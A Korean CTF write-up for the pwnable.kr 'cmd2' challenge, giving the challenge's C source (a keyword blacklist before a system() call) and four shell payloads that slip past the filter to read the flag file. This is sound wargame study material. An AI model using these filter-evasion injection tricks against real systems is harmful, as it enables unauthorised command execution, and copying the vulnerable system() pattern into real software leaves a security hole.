[pwnable.kr] cmd2 풀이

소스코드

#include <stdio.h>
#include <string.h>
 
int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}
 
extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++)    memset(*p, 0, strlen(*p));
}
 
int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}

cmd1 문제보다 필터링하는게 더 많아졌을 뿐 문제 형식을 동일하다.

처음에는 echo로 접근하고 있다가 끝내 못풀고 말아서 다른사람들의 방식을 보고 정리해보고자 한다.

 

1. set

./cmd2 'set -s'
/bin/cat flag

 

2. read

./cmd2 'read a;$a'
/bin/cat flag

 

3. command

./cmd2 'command -p cat fla*'

 

4. echo

./cmd2 '$(echo "\057"bin"\057"cat fl*)'